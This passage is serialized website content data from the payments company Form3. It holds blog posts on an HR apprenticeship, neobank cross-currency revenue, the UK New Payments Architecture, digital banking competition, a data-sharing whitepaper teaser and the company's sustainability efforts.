going.",{"dimensions":11987,"alt":11984,"copyright":5,"url":11988,"id":11989,"edit":11990},{"width":412,"height":412},"\u002F_prismic-media\u002F49cb0dbbe1683655-BeGe3SLihs-ZbY0p_form3s-first-apprentice.jpg","BeGe3SLihs-ZbY0p",{"x":398,"y":398,"zoom":399,"background":650},"2021-12-23",{},[],[],{},[],{"link_type":434},[11999,12020,12030],{"variation":437,"version":527,"items":12000,"primary":12001,"id":12019,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":12002,"body":12006,"cta_label":5,"cta_link":12007,"aside_type":533,"aside_image":12008,"aside_video":12014,"aside_video_poster":12015,"aside_video_reduced_motion":12016,"aside_video_url":5,"aside_embed":12017,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":12018,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[12003],{"type":746,"text":12004,"spans":12005,"direction":445},"Being an apprentice, I get the best of both worlds; I can achieve a qualification whilst gaining vital work experience.",[],[],{"link_type":434},{"dimensions":12009,"alt":5,"copyright":5,"url":12011,"id":12012,"edit":12013},{"width":6158,"height":12010},487,"\u002F_prismic-media\u002Ffbf86dd35dbc1f4a-7fgQZs0LvDi6JMH__cf6c89a4-503a-4f38-8167-e3a4706.png","7fgQZs0LvDi6JMH_",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$0f9a3500-9ec2-47f9-9315-c36b8642a425",{"variation":437,"version":438,"items":12021,"primary":12022,"id":12029,"slice_type":583,"slice_label":5},[],{"quote":12023,"attribution_name":12027,"attribution_role":12028},[12024],{"type":25,"text":12025,"spans":12026},"\"Earning while you learn is another great perk of completing an apprenticeship\"",[],"Ellie Brown","People Team Apprentice","pull_quote$d342d78c-4089-42db-b405-01fdeda4ac00",{"variation":437,"version":438,"items":12031,"primary":12032,"id":12058,"slice_type":468,"slice_label":5},[],{"body":12033},[12034,12037,12040,12043,12046,12049,12052,12055],{"type":25,"text":12035,"spans":12036,"direction":445},"The idea of the traditional university route never really excited me. I wanted to get into the workplace but also wanted to gain higher qualifications; what could be more fitting than an apprenticeship?",[],{"type":25,"text":12038,"spans":12039,"direction":445},"There are so many schemes out there - I didn’t even realise it, but when I saw the Senior People Professional apprenticeship online, I knew that was the one for me! Coming from a big family, I love being around people and wanted to take on a role where I could make a difference for others. I studied business at A-Level, and Human Resources (HR) was, by far, my favourite part of the course; it recognises the value of employees and I felt like I could relate to it. I would like to be in a position where I can help and manage others in the workplace, ensuring we create a safe and encouraging environment that brings out the best in people; this is the reason I decided to pursue a career in HR.",[],{"type":25,"text":12041,"spans":12042,"direction":445},"To some, the idea of studying whilst working a full-time job may sound overwhelming. However, during an apprenticeship, you spend 20% of your time doing off-the-job training, meaning that it’s possible to manage your workload and studies. Did I also mention that you get paid a full salary too? Earning while you learn is another great perk of completing an apprenticeship. If I had gone to university, although it would have been great, I would have finished my degree with a lot of student debt and no proper work experience. When I finish my apprenticeship, I will have had years of experience, as well as the opportunity to save money for the future and I will gain a qualification too!",[],{"type":25,"text":12044,"spans":12045,"direction":445},"I joined Form3 right after finishing my A-Levels with no experience in HR. This meant that I had to complete the Level 3 HR Support apprenticeship, equivalent to an A-Level, before progressing to the Level 7 Senior People Professional apprenticeship, which is the equivalent of a university degree. The Level 3 HR Support apprenticeship is primarily for individuals that are new to HR and want to seek career progression within this field; I am due to complete it in 2023.",[],{"type":25,"text":12047,"spans":12048,"direction":445},"My mentor from the TESS Group (our training provider) and I meet on a regular basis to discuss my progress, which she tracks using my learning diary. My learning diary details all the new tasks I get involved with, so she is able to ensure that I am developing my HR skills and continuing to be exposed to new scenarios that I can learn from. I will eventually have an end point assessment where I am expected to complete a consultative project to showcase all the wonderful knowledge and skills that I have picked up at Form3; they will assess whether I have met the standards of the apprenticeship.",[],{"type":25,"text":12050,"spans":12051,"direction":445},"Since joining Form3, I have been exposed to various areas of HR and have gathered invaluable work experience. This, to me, is so important as it has enabled me to develop confidence and fully understand the function of HR and the processes within it. When I joined, I started to help with the onboarding process. Due to the amazing support that I’ve received from colleagues, as well as Form3’s rapid growth, I was able to get the hang of things relatively quickly. After a couple of weeks, I became very familiar with the onboarding process and I am excited to now be in a position where alone, I have been able to onboard more than 50 new employees pretty much independently, and soon I’ll be helping to train our new People Team Apprentice!",[],{"type":25,"text":12053,"spans":12054,"direction":445},"Despite being an apprentice, I am thankful to say I am still able to get involved with key parts of the business and look forward to taking on bigger projects in the new year with my team - I am so happy with my decision to join Form3 as an apprentice.",[],{"type":25,"text":12056,"spans":12057,"direction":445},"What better a company to begin my career with?",[],"rich_text$6767f68b-cab2-4095-a9f5-b8799269e2ab",{"id":12060,"uid":12061,"type":3743,"data":12062},"alzz2xEAACoAUWR3","industry-intelligence-how-neobanks-can-use-cross-currency",{"title":12063,"excerpt":12064,"card_image":12065,"published_date":12070,"reading_time":4603,"tag":5813,"dek":12064,"featured_image":12071,"about_form3":12072,"client_about_heading":5,"client_about_body":12073,"author_name":5,"author_title":5,"author_photo":12074,"author_bio":12075,"author_linkedin":12076,"slices":12077,"meta_title":12063,"meta_description":12140},"Industry intelligence: How neobanks can use cross-currency transactions to boost revenue","Today, in order to stand out and attract new customers, neobanks should look to create distinct features and services that set them apart from their competitors. One such area is cross-currency transactions, where there looks to be a golden opportunity for neobanks to boost their revenue and consolidate their position in the market.",{"dimensions":12066,"alt":12063,"copyright":5,"url":12067,"id":12068,"edit":12069},{"width":412,"height":412},"\u002F_prismic-media\u002F2a8fa7e1529afcff-AbbAoOtqqcJQocIw_industry-intelligence-how-neoba.png","AbbAoOtqqcJQocIw",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-03",{},[],[],{},[],{"link_type":434},[12078,12095,12112,12126],{"variation":437,"version":438,"items":12079,"primary":12080,"id":12094,"slice_type":468,"slice_label":5},[],{"body":12081},[12082,12085,12091],{"type":988,"text":12083,"spans":12084,"direction":445},"Cross-currency opportunities for neobanks",[],{"type":25,"text":12086,"spans":12087,"direction":445},"According to projections from the Bank of England the value of cross-border payments is estimated to increase from almost $150 trillion in 2017 to over $250 trillion by 2027, equating to a rise of over $100 trillion in just 10 years.",[12088],{"start":1951,"end":2868,"type":489,"data":12089},{"link_type":491,"url":12090,"target":493},"https:\u002F\u002Fwww.bankofengland.co.uk\u002Fpayment-and-settlement\u002Fcross-border-payments",{"type":25,"text":12092,"spans":12093,"direction":445},"Therefore, there is a big opportunity for neobanks to capitalise on this growing market. Not only can they potentially create a differentiator that sets them apart from the competition with fully managed cross-currency transactional services, but by approaching it in the right way, they can also make these services very profitable. ",[],"rich_text$917d978a-ffd4-43ca-a9c5-20430e3a10ec",{"variation":437,"version":438,"items":12096,"primary":12097,"id":12111,"slice_type":468,"slice_label":5},[],{"body":12098},[12099,12102,12105,12108],{"type":988,"text":12100,"spans":12101,"direction":445},"The challenges of the cross-currency opportunity",[],{"type":25,"text":12103,"spans":12104,"direction":445},"However, there are good reasons why few neobanks — or some traditional banks for that matter — have fully developed their international offering. Building out a cross-currency transaction mechanism is a complex, expensive and strenuous endeavour",[],{"type":25,"text":12106,"spans":12107,"direction":445},"The process of converting from one currency to another and then delivering it into the appropriate country in a timely, traceable and cost-effective way is actually very complicated and backed by multiple systems, services, products, partners and ecosystems in order to do so. ",[],{"type":25,"text":12109,"spans":12110,"direction":445},"Liquidity providers, SWIFT, ACH as well as trading systems and execution systems all have to interact seamlessly to perform this process. FX risk management can unnecessarily tie up liquidity better used elsewhere.",[],"rich_text$ebb1ab59-0c0e-40ad-816b-5d566fa95536",{"variation":437,"version":438,"items":12113,"primary":12114,"id":12125,"slice_type":468,"slice_label":5},[],{"body":12115},[12116,12119,12122],{"type":988,"text":12117,"spans":12118,"direction":445},"Choosing the right partners",[],{"type":25,"text":12120,"spans":12121,"direction":445},"Forming a strong partnership would be a sensible route for an easy access model for any neobank that wants to exploit the opportunity that cross-currency transactions present. ",[],{"type":25,"text":12123,"spans":12124,"direction":445},"Neobanks generally focus on their domestic market so they will need to find a partner that gives them easy access for their customers to pay in multiple countries and currencies globally, all with a simple funding model in their domestic currency which removes the need for management of multiple currencies in their own treasury department. Trying to build this all for themselves would take a significant amount of time, effort and experience that may not be practical.",[],"rich_text$63581137-a0e6-4878-8033-81bb899c64f7",{"variation":437,"version":438,"items":12127,"primary":12128,"id":12139,"slice_type":468,"slice_label":5},[],{"body":12129},[12130,12133,12136],{"type":988,"text":12131,"spans":12132,"direction":445},"How to deal with US clearing",[],{"type":25,"text":12134,"spans":12135,"direction":445},"Offering a service that gives customers access to the Eurozone and the rest of Europe is one thing, but the US is a whole different kettle of fish. One of the biggest problems for cross-border business is the ability to clear in the US. ",[],{"type":25,"text":12137,"spans":12138,"direction":445},"The obvious route to the US is working with a partner with established cross-border and currency capabilities in the country. However, with the introduction of new faster payment systems in the US such as FedNow and TCH combined – and also with the ability to democratise access to the clearing houses in the US - there is a huge opportunity for banks overseas to gain access to schemes more efficiently or even directly. ",[],"rich_text$778047b5-5f89-4bf5-9887-d929df812a87","Neobanks should look to create distinct features and services that set them apart from their competitors. One such area is cross-currency transactions, where there looks to be a golden opportunity for neobanks to boost their revenue and consolidate their position in the market.",{"id":12142,"uid":12143,"type":3743,"data":12144},"alz0IREAACkAUWUb","industry-advice-how-to-plan-for-the-new-payments-architecture",{"title":12145,"excerpt":12146,"card_image":12147,"published_date":12152,"reading_time":1355,"tag":5813,"dek":12153,"featured_image":12154,"about_form3":12155,"client_about_heading":5,"client_about_body":12156,"author_name":5,"author_title":5,"author_photo":12157,"author_bio":12158,"author_linkedin":12159,"slices":12160,"meta_title":12145,"meta_description":12146},"Industry Advice: How To Plan For The New Payments Architecture","Marcus Bateman, Head of UK Product at Form3, provides industry advice on how to plan for the new payments architecture.",{"dimensions":12148,"alt":12145,"copyright":5,"url":12149,"id":12150,"edit":12151},{"width":412,"height":412},"\u002F_prismic-media\u002Ff298d35ecbcc0af2-XKzJt9dH9Avw-KFp_industry-advice-how-to-plan-for.jpg","XKzJt9dH9Avw-KFp",{"x":398,"y":398,"zoom":399,"background":650},"2022-04-01","Bringing payments architecture into the modern world is an undeniable necessity. Fortunately, the project to modernise and future-proof the UK’s payments infrastructure is well underway. The New Payments Architecture (NPA) is intended to provide the country with a resilient, robust, stable and secure payments network. It should boost competition and innovation by lowering barriers to entry for Payments Service Providers (PSPs.)",{},[],[],{},[],{"link_type":434},[12161,12181,12207,12221],{"variation":437,"version":438,"items":12162,"primary":12163,"id":12180,"slice_type":468,"slice_label":5},[],{"body":12164},[12165,12168,12171,12174,12177],{"type":988,"text":12166,"spans":12167,"direction":445},"Focus on the customer journey",[],{"type":25,"text":12169,"spans":12170,"direction":445},"While much of the change is happening at the back end and well out of the view of the end users, participants need to think about how they can use the new framework to bring additional value to their customers. ",[],{"type":25,"text":12172,"spans":12173,"direction":445},"Once implemented, the NPA infrastructure will support the development of new, innovative ‘overlay services’ as well as enhance the existing ones such Confirmation of Payee and Request-to-Pay through the availability of a richer ‘ISO20022’ data set. There is obviously enormous potential for banks to utilise these features in their own services. ",[],{"type":25,"text":12175,"spans":12176,"direction":445},"There will also be other opportunities for participants that want to enhance the customer experience. For example, the ability to provide enhanced remittance information across both B2B and B2C channels using the larger ISO2022 data set. ",[],{"type":25,"text":12178,"spans":12179,"direction":445},"If participants can use the richer data sets, better liquidity and faster response times to create customer experiences that have new features and more flexibility, then this would be a highly desirable outcome. ",[],"rich_text$134745e3-c991-4266-9d07-68a4a46672f1",{"variation":437,"version":438,"items":12182,"primary":12183,"id":12206,"slice_type":468,"slice_label":5},[],{"body":12184},[12185,12188,12191,12194,12197,12200,12203],{"type":988,"text":12186,"spans":12187,"direction":445},"Addressing NPA migration and transition challenges",[],{"type":25,"text":12189,"spans":12190,"direction":445},"The migration and transition to NPA is a big challenge. With these challenges in mind, banks must be prepared to answer pressing questions which include: ",[],{"type":1151,"text":12192,"spans":12193,"direction":445},"Is it possible to decouple the technical project from the migration programme?",[],{"type":1151,"text":12195,"spans":12196,"direction":445},"Do banks really want to manage the transitional iterative rules during the long migration window?",[],{"type":1151,"text":12198,"spans":12199,"direction":445},"Could it be possible to complete the NPA migration deferring the need for substantial redevelopment of the core banking system until a later date?",[],{"type":1151,"text":12201,"spans":12202,"direction":445},"Could the existing FPS infrastructure be retired earlier, saving operating costs associated with soon-to-be redundant infrastructure?",[],{"type":1151,"text":12204,"spans":12205,"direction":445},"Is there a means of being prepared for, and insulated from, the technical NPA transition and therefore minimising the NPA day one impact?",[],"rich_text$2feb3db5-6b0d-4786-a027-c7788b6e0070",{"variation":437,"version":438,"items":12208,"primary":12209,"id":12220,"slice_type":468,"slice_label":5},[],{"body":12210},[12211,12214,12217],{"type":988,"text":12212,"spans":12213,"direction":445},"Engage with the experts",[],{"type":25,"text":12215,"spans":12216,"direction":445},"Large financial institutions often have very set ways of doing things. In order to best deal with the challenges of adopting the NPA, it would therefore be beneficial to get views from outside the organisation, to ensure that all relevant opportunities are identified and strategic direction is set accordingly. ",[],{"type":25,"text":12218,"spans":12219,"direction":445},"Participants ultimately should seek expert advice to facilitate and guide them through all of the requirements and questions and impact assessments. Only then can they be sure that they’ve covered all the potential outcomes. ",[],"rich_text$95baec9e-7df9-4ec5-8596-2cdeb0823bf4",{"variation":437,"version":438,"items":12222,"primary":12223,"id":12243,"slice_type":468,"slice_label":5},[],{"body":12224},[12225,12228,12231,12234,12237,12240],{"type":988,"text":12226,"spans":12227,"direction":445},"Think beyond NPA",[],{"type":25,"text":12229,"spans":12230,"direction":445},"While the NPA is designed to help the payments industry deal with challenges today, participants should also have an eye on the future. If banks are already investing much time and capital on the NPA, then it would be sensible to consider the potential payments landscape beyond NPA. ",[],{"type":25,"text":12232,"spans":12233,"direction":445},"Whilst the precise nature of these changes is still evolving, an API and micro-services based infrastructure will provide the flexibility to adopt to both the NPA and other future payments technology that supersede it.",[],{"type":25,"text":12235,"spans":12236,"direction":445},"Marcus Bateman",[],{"type":25,"text":12238,"spans":12239,"direction":445},"Head of UK Product",[],{"type":25,"text":12241,"spans":12242,"direction":445},"Form3 ",[],"rich_text$e53ee926-4e7b-4e0d-b0f6-23466965d196",{"id":12245,"uid":12246,"type":3743,"data":12247},"alzzjREAACgAUWO4","big-banks-get-smart-or-smart-banks-get-big",{"title":12248,"excerpt":12249,"card_image":12250,"published_date":12255,"reading_time":4603,"tag":3751,"dek":5,"featured_image":12256,"about_form3":12261,"client_about_heading":5,"client_about_body":12262,"author_name":5,"author_title":5,"author_photo":12263,"author_bio":12264,"author_linkedin":12265,"slices":12266,"meta_title":12375,"meta_description":12249},"Will the big banks get smart first, or the smart banks get big?","The banking industry has undergone significant changes over the past few years. With the continuing emergence of digital banks and new players in the industry, the game has changed, and both traditional banks and fintechs are now faced with new challenges and opportunities. The question that arises is, how can banks stay relevant and add value to their customers in this new banking battlefield?",{"dimensions":12251,"alt":12248,"copyright":5,"url":12252,"id":12253,"edit":12254},{"width":412,"height":412},"\u002F_prismic-media\u002Fa3adcfb2f696237d-MJVOyzXtA7ZAgEig_big-banks-get-smart-or-smart-ba.svg","MJVOyzXtA7ZAgEig",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-17",{"dimensions":12257,"alt":5,"copyright":5,"url":12258,"id":12259,"edit":12260},{"width":501,"height":646},"\u002F_prismic-media\u002F9ff7daf402830982-26RkrYHrHv1tZr9e_ae3e9075-f24f-44e5-ada9-d20f11f.jpg","26RkrYHrHv1tZr9e",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[12267,12283,12292,12309,12329,12348,12365],{"variation":437,"version":438,"items":12268,"primary":12269,"id":12282,"slice_type":468,"slice_label":5},[],{"body":12270},[12271,12274,12276,12279],{"type":988,"text":12272,"spans":12273,"direction":445},"Embracing technology for a digital future",[],{"type":25,"text":12249,"spans":12275,"direction":445},[],{"type":25,"text":12277,"spans":12278,"direction":445},"Traditionally, the banking industry was divided into two camps - big banks and smaller banks. However, with the emergence of digital banks, the question became, will the big banks get smart first, or will the smart banks get big? As start-ups scale up at tremendous speed and enter the banking ecosystem as new players, the game has changed, bringing new challenges and opportunities for all players in the industry.",[],{"type":25,"text":12280,"spans":12281,"direction":445},"A lot of banks, and indeed fintechs, are still a bit lost in what to do with all the opportunity. With the rise of new digital technologies, there are endless possibilities, and it can be challenging to know where to start. However, one thing is for sure - keeping up with the pace of change is one of the biggest differentiators on the banking battlefield.",[],"rich_text$350b42f5-8e1a-4eef-be8c-48552d564c6d",{"variation":437,"version":438,"items":12284,"primary":12285,"id":12291,"slice_type":583,"slice_label":5},[],{"quote":12286,"attribution_name":12290,"attribution_role":5},[12287],{"type":25,"text":12288,"spans":12289},"“Ever since first digital banks arrived the question became will the big banks get smart first or the smart banks get big”",[],"Form3 - Payment Technology Reimagined","pull_quote$0d133d8e-9657-435f-877f-b252c90e98c1",{"variation":437,"version":438,"items":12293,"primary":12294,"id":12308,"slice_type":468,"slice_label":5},[],{"body":12295},[12296,12299,12302,12305],{"type":988,"text":12297,"spans":12298,"direction":445},"The Importance of Speed in the Banking Industry",[],{"type":25,"text":12300,"spans":12301,"direction":445},"The biggest differentiator on the banking battlefield is speed. Keeping up with the pace of change is critical for banks and financial institutions to remain relevant and add value to their account holders. The impact of speed on customer satisfaction cannot be understated. Customers today are accustomed to receiving fast, efficient, and seamless services from their banks, and they expect nothing less. Banks must focus on delivering digital services that meet or exceed their customers' expectations.",[],{"type":25,"text":12303,"spans":12304,"direction":445},"Regulatory changes are another area where speed is essential. With change seemingly being the only constant we now see in the payments space, roadmaps, budgets and resources for many banks are predominantly filled with the mandatory changes that banks must adhere to simply to remain compliant.",[],{"type":25,"text":12306,"spans":12307,"direction":445},"Finally, the speed of customer expectations is increasing. Customers today expect fast, efficient, and seamless services from their banks. They want to be able to access their accounts and complete transactions quickly and easily, without any delays or complications. Banks must focus on delivering digital services that meet or exceed their customers' expectations, or risk losing them to competitors who can provide better service.",[],"rich_text$61df2069-4bf1-4a03-a1e3-78d50523b791",{"variation":437,"version":438,"items":12310,"primary":12311,"id":12328,"slice_type":468,"slice_label":5},[],{"body":12312},[12313,12316,12319,12322,12325],{"type":988,"text":12314,"spans":12315,"direction":445},"Bringing the Back Office to the Forefront",[],{"type":25,"text":12317,"spans":12318,"direction":445},"In the old world, payments processing was hidden behind multi-day\u002Fmulti-hour payment cycles, tech puzzles, and heavily manual processes. Batch overnight and next-day processing were the norm. However, the world has moved on, and at a rapid pace. Change is the only constant when it comes to payments processing, and the once hidden back office is becoming more and more visible to the extent that it is now front and centre.",[],{"type":25,"text":12320,"spans":12321,"direction":445},"In the new world, customers have full visibility of exactly where their payments are and how they're behaving, at exactly the same time as their payment tech providers through their API. The importance of payments tech, its stability, its availability, its capability, and its ability to change and adapt at pace is only increasing, and rapidly.",[],{"type":25,"text":12323,"spans":12324,"direction":445},"Because there's no time spent trying to hide, it's all about getting it right as often as possible and showing customers the reality. Being ahead of them wherever possible, being ready to highlight issues and work together with partners, customers, schemes, or whoever it takes to fix issues and move forward.",[],{"type":25,"text":12326,"spans":12327,"direction":445},"The importance of payments tech and its ability to evolve at the same pace as regulatory changes and customer expectations is essential for banks to remain relevant and competitive in the rapidly changing payments industry.",[],"rich_text$44404d75-5120-41dc-8967-99deabbd81a2",{"variation":437,"version":438,"items":12330,"primary":12331,"id":12347,"slice_type":468,"slice_label":5},[],{"body":12332},[12333,12336,12339,12342,12344],{"type":988,"text":12334,"spans":12335,"direction":445},"Technologies to Facilitate Change in Corporate Banks",[],{"type":25,"text":12337,"spans":12338,"direction":445},"The role of technology in banking cannot be understated. Differentiating through digital experiences and products is essential for banks to remain competitive and relevant in today's digital age. Banks must curate, differentiate, and evolve digital experiences and products strategically and within meaningful time frames.",[],{"type":25,"text":12340,"spans":12341,"direction":445},"One example of how banks can differentiate is by using cloud computing, APIs, and microservices. While many financial institutions operate their payment gateways on premises, there are definite advantages to using cloud-based technology here. With the increasing number of transactions being made, the scalability of cloud services means that the system can deal with any peaks and troughs.",[],{"type":25,"text":10891,"spans":12343,"direction":445},[],{"type":25,"text":12345,"spans":12346,"direction":445},"APIs and microservices can help banks streamline their operations and enhance security. By breaking down large applications into smaller, modular services, banks can enable faster development and deployment of new products and services. This approach also allows for more frequent updates and iterations, making it easier to keep up with the pace of change in the banking industry.",[],"rich_text$17d13779-d9e0-4a1c-9279-0b092f651c22",{"variation":437,"version":438,"items":12349,"primary":12350,"id":12364,"slice_type":468,"slice_label":5},[],{"body":12351},[12352,12355,12358,12361],{"type":988,"text":12353,"spans":12354,"direction":445},"The Future of the Banking Ecosystem",[],{"type":25,"text":12356,"spans":12357,"direction":445},"The future banking ecosystem will be shaped by several factors, including investments, innovation, and the transition from legacy infrastructure to new banking technology. Ultimately, the big winners in this ecosystem will be those who see the bigger picture and are aggressive in bringing together, attracting, and aligning the right partners to deliver value.",[],{"type":25,"text":12359,"spans":12360,"direction":445},"The mechanism for delivering value will be platforms. Whether it's a financial institution, a fintech, or a separate third-party entity, the best platform will win. These platforms will bring financial institutions and fintechs together to create a seamless experience for customers, enabling them to access a wide range of services and products from a single platform.",[],{"type":25,"text":12362,"spans":12363,"direction":445},"The future of the banking ecosystem is likely to be more collaborative and open, with financial institutions and fintechs working together to deliver innovative products and services to their customers. As technology continues to evolve, the lines between financial institutions and fintechs are likely to become increasingly blurred, and the distinction between traditional banking and digital banking will fade away.",[],"rich_text$3bf41def-230e-4785-98c1-d3eec1749599",{"variation":437,"version":438,"items":12366,"primary":12367,"id":12374,"slice_type":468,"slice_label":5},[],{"body":12368},[12369,12371],{"type":988,"text":4445,"spans":12370,"direction":445},[],{"type":25,"text":12372,"spans":12373,"direction":445},"The banking industry is at a critical juncture, and the future of the industry will be shaped by the ability of financial institutions and fintechs to innovate and work together effectively. The winners in this ecosystem will be those who can create the best platforms and deliver the most value to their customers. By differentiating through digital experiences and products, banks can stay competitive and relevant in the fast-changing banking industry. Strategies for evolving digital experiences and products include collaborating with fintechs, using design thinking, and adopting an agile approach to digital transformation. As we move forward, the lines between financial institutions and fintechs will continue to blur, and the banking industry will become more collaborative and open. Ultimately, the winners will be those who can see the bigger picture and work together to deliver the best possible customer experience.",[],"rich_text$969d242f-2ab5-4462-8a08-2bcb81182992","Will the big banks get smart, or the smart banks get big?",{"id":12377,"uid":12378,"type":3743,"data":12379},"alzzZhEAAC4AUWNU","whitepaper-data-sharing-to-prevent-economic-crime",{"title":12380,"excerpt":12381,"card_image":12382,"published_date":12387,"reading_time":506,"tag":3992,"dek":5,"featured_image":12388,"about_form3":12393,"client_about_heading":5,"client_about_body":12394,"author_name":5,"author_title":5,"author_photo":12395,"author_bio":12396,"author_linkedin":12397,"slices":12398,"meta_title":12416,"meta_description":12407},"Whitepaper - Data sharing to prevent Economic Crime","In partnership with The Payments Association, Form3's newest report, ‘Data sharing to prevent Economic Crime: Why you can now share data with confidence’, is now live.",{"dimensions":12383,"alt":12380,"copyright":5,"url":12384,"id":12385,"edit":12386},{"width":412,"height":412},"\u002F_prismic-media\u002F89be4181c4f0bef1-i9_fEiPIaZ2Ktzsv_whitepaper-data-sharing-to-prev.png","i9_fEiPIaZ2Ktzsv",{"x":398,"y":398,"zoom":399,"background":400},"2023-04-14",{"dimensions":12389,"alt":5,"copyright":5,"url":12390,"id":12391,"edit":12392},{"width":501,"height":501},"\u002F_prismic-media\u002F6157cd792137c5e2-5ftR4njCoCM3uUMe_c5c6242c-06cf-4413-b9f7-4757cd4.png","5ftR4njCoCM3uUMe",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[12399],{"variation":437,"version":438,"items":12400,"primary":12401,"id":12415,"slice_type":468,"slice_label":5},[],{"body":12402},[12403,12406,12409,12412],{"type":746,"text":12404,"spans":12405},"Why you can now share data with confidence",[],{"type":25,"text":12407,"spans":12408},"In today’s fast-paced world, the complexity of economic crime continues to increase, making data sharing and collaboration critical in its detection and prevention.",[],{"type":25,"text":12410,"spans":12411},"This whitepaper highlights how the payments industry approaches data sharing, provides an inside scoop on the proposed legislation in the U.K. that will support a better regulatory framework for data sharing, and pulls on a range of data-sharing initiatives from around the world that are mitigating the risks that come from low collaboration and siloed data.",[],{"type":25,"text":12413,"spans":12414},"Download now to unlock invaluable insights into data sharing and its role in preventing economic crime.",[],"rich_text$bdc9d89b-e7d0-4051-a086-4809fe9857b1","Data sharing to prevent Economic Crime",{"id":12418,"uid":12419,"type":3743,"data":12420},"alzz4REAACgAUWSF","form3-cares-about-the-planet",{"title":12421,"excerpt":12422,"card_image":12423,"published_date":12428,"reading_time":2375,"tag":3751,"dek":5,"featured_image":12429,"about_form3":12430,"client_about_heading":5,"client_about_body":12431,"author_name":5,"author_title":5,"author_photo":12432,"author_bio":12433,"author_linkedin":12434,"slices":12435,"meta_title":12421,"meta_description":12422},"Form3 Cares about the Planet","At Form3 we believe we have a responsibility to reduce our environmental impact which is why we’re working hard to ensure we develop our environmental strategy in line with available science. We’re anti-greenwashing, and so we don’t want to just appear green, we want to determine the source of our emissions and actively reduce these as much as possible. We will then offset the unavoidable remaining emissions using verified carbon offsets, which means they are guaranteed to reduce\u002Fremove greenhouse emissions.",{"dimensions":12424,"alt":12421,"copyright":5,"url":12425,"id":12426,"edit":12427},{"width":412,"height":412},"\u002F_prismic-media\u002Fbf01b363bb78c721-SrVQ0cYFxhsBJoTX_form3-cares-about-the-planet.pn","SrVQ0cYFxhsBJoTX",{"x":398,"y":398,"zoom":399,"background":400},"2022-09-23",{},[],[],{},[],{"link_type":434},[12436,12449,12506],{"variation":437,"version":438,"items":12437,"primary":12438,"id":12448,"slice_type":468,"slice_label":5},[],{"body":12439},[12440,12443,12445],{"type":988,"text":12441,"spans":12442,"direction":445},"Introduction",[],{"type":25,"text":12422,"spans":12444,"direction":445},[],{"type":25,"text":12446,"spans":12447,"direction":445},"A key part of being ‘anti-greenwashing’ is being open and transparent, which is why we want to share where we are on our sustainability journey.  ",[],"rich_text$6f42bec6-68a4-478b-bb31-29acc18c530b",{"variation":437,"version":438,"items":12450,"primary":12451,"id":12505,"slice_type":468,"slice_label":5},[],{"body":12452},[12453,12456,12460,12463,12467,12470,12474,12477,12481,12484,12488,12491,12495,12498,12502],{"type":988,"text":12454,"spans":12455,"direction":445},"What are we already doing?",[],{"type":25,"text":12457,"spans":12458,"direction":445},"Remote working ",[12459],{"start":398,"end":2987,"type":593},{"type":25,"text":12461,"spans":12462,"direction":445},"Being 100% remote reduces our commuting emissions. According to the International Energy Agency (IEA) if everyone able to work from home globally did so for just one day a week, global CO2 emissions would decline by 24 million tonnes annually (equivalent to the bulk of Greater London's annual CO2 emissions); however, a considerable shift to working from home may have impacts elsewhere in the energy system.  ",[],{"type":25,"text":12464,"spans":12465,"direction":445},"Cycle to work scheme ",[12466],{"start":398,"end":703,"type":593},{"type":25,"text":12468,"spans":12469,"direction":445},"We utilise this scheme which reduces commuting emissions for those who do still commute to our offices and generally outside of the office too and is available in different countries. ",[],{"type":25,"text":12471,"spans":12472,"direction":445},"Travel",[12473],{"start":398,"end":2375,"type":593},{"type":25,"text":12475,"spans":12476,"direction":445},"We ask that all employees and contractors who travel by air offset their emissions. Our policies around travel also encourage employees to favour public transport over cars, and trains over planes, even if that means that the travel costs a bit more. ",[],{"type":25,"text":12478,"spans":12479,"direction":445},"Equipment ",[12480],{"start":398,"end":905,"type":593},{"type":25,"text":12482,"spans":12483,"direction":445},"All of our employees and contractors are able to rent office equipment through Hofy, an equipment rental platform. This equipment is shipped from local depots, minimising our carbon emissions and once it reaches the end of its commercial life, Hofy donates it to charities to be reused or recycled.  ",[],{"type":25,"text":12485,"spans":12486,"direction":445},"Office space ",[12487],{"start":398,"end":2707,"type":593},{"type":25,"text":12489,"spans":12490,"direction":445},"Our London office is equipped with energy efficient products\u002Ftechnology such as motion and daylight sensors, low energy lighting, recycling waste streams and energy efficient heating and cooling. ",[],{"type":25,"text":12492,"spans":12493,"direction":445},"London data centres ",[12494],{"start":398,"end":7460,"type":593},{"type":25,"text":12496,"spans":12497,"direction":445},"The nature of data centres, such as running 24 hours a day, using heating and cooling methods and generally using large amounts of energy means they are bound to have high emissions, so it’s important to reduce their environmental impact where we can. Already, our data centres use 100% renewable energy as well as other sustainable tech which reduces energy consumption. As data centres have a significant environmental impact, reducing our need for data centres, and in turn the emissions from the needed data centres will be key for Form3 as we scale. ",[],{"type":25,"text":12499,"spans":12500,"direction":445},"Cloud data ",[12501],{"start":398,"end":602,"type":593},{"type":25,"text":12503,"spans":12504,"direction":445},"According to AWS we saved 198.6 tCO2e between February 2021 – February 2022 by using their service rather than on-premises equivalents. However, there is some debate around whether emissions are being ‘hidden’ within the cloud.",[],"rich_text$019b0e36-0a2a-490b-b1f5-904910e84ffe",{"variation":437,"version":438,"items":12507,"primary":12508,"id":12525,"slice_type":468,"slice_label":5},[],{"body":12509},[12510,12513,12516,12519,12522],{"type":988,"text":12511,"spans":12512,"direction":445},"We know there’s work to do to reduce our environmental impact at Form3, but we’re up to the challenge!",[],{"type":25,"text":12514,"spans":12515,"direction":445},"Here’s just a handful of the things we’ve committed to doing over the next few months: ",[],{"type":1151,"text":12517,"spans":12518,"direction":445},"We’re currently working on calculating our carbon footprint. This is the total amount of greenhouse gases generated by our actions. An accurate carbon footprint is key in understanding our climate impact and identifying emission-reducing opportunities. ",[],{"type":1151,"text":12520,"spans":12521,"direction":445},"The first step in determining our carbon footprint is collecting precise ‘activity’ data and then calculating the emissions. The next step is to have our carbon footprint externally verified, we can then confirm our carbon footprint for 2021, which will be our benchmark year. We will use this year to set science-based targets for reducing our emissions in line with becoming a net zero organisation. 